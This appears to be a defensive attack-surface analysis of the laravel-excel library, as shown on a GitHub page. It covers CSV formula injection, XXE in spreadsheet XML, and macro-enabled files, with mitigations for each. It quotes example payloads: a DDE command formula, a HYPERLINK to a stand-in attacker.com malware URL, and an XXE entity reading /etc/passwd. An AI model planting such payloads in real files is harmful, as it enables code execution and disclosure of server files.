Skip to content

Latest commit

 

History

History
35 lines (28 loc) · 3.48 KB

attack-surface.md

File metadata and controls

35 lines (28 loc) · 3.48 KB

Attack Surface Analysis for spartnernl/laravel-excel

Attack Surface: CSV Injection (Formula Injection)

  • Description: Malicious formulas embedded in CSV, TSV, or even XLSX/XLS files can be executed when the file is opened in a spreadsheet program.
    • How laravel-excel Contributes: The library facilitates the import of these potentially malicious files. It does not inherently sanitize or validate the content of the cells. This is the core issue.
    • Example: A cell containing =CMD|' /C calc'!A0 (Windows) or =HYPERLINK("http://attacker.com/malware","Click").
    • Impact: Code execution on the user's machine, data exfiltration, phishing, system compromise.
    • Risk Severity: Critical (if imported data is displayed without escaping) / High (if imported data is used in other contexts without proper validation).
    • Mitigation Strategies:
      • Developer: Never directly display data imported from spreadsheets without thorough sanitization and escaping. Treat all imported cell values as untrusted user input. Use a dedicated, security-focused CSV parsing library if you need to extract data from CSV. HTML-encode data before displaying it. Use parameterized queries or ORM methods for database interactions.
      • User: Be cautious when opening spreadsheets from untrusted sources. Disable automatic formula calculation.

Attack Surface: XML External Entity (XXE) Injection (XLSX/ODS)

  • Description: Malicious XLSX or ODS files can contain XML External Entity references, leading to file disclosure, SSRF, or DoS.
    • How laravel-excel Contributes: The library uses phpoffice/phpspreadsheet to handle XLSX/ODS files, which are XML-based. laravel-excel's role is in providing the interface to use this potentially vulnerable functionality.
    • Example: An XLSX file with a crafted workbook.xml containing <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>.
    • Impact: Disclosure of sensitive server files, internal network access (SSRF), denial of service.
    • Risk Severity: High.
    • Mitigation Strategies:
      • Developer: Ensure laravel-excel and phpoffice/phpspreadsheet are up-to-date. Monitor for security advisories related to XXE. Avoid processing untrusted XML directly (rely on the library's handling, but stay updated).
      • User: N/A (primarily a server-side vulnerability).

Attack Surface: Macro Execution (XLS, XLSM, etc.)

  • Description: Macro-enabled spreadsheets can contain malicious VBA code.
    • How laravel-excel Contributes: The library may allow the upload and processing of macro-enabled files. While it doesn't execute the macros, it facilitates their presence in the system.
    • Example: An XLSM file with a VBA macro that downloads malware.
    • Impact: Code execution on a user's machine, system compromise.
    • Risk Severity: High
    • Mitigation Strategies:
      • Developer: Strongly discourage or disallow upload of macro-enabled formats. Implement strict file type validation. If essential, strip out macros during processing. Sandboxing is extremely complex and not recommended.
      • User: Be extremely cautious with macro-enabled spreadsheets. Disable macros by default.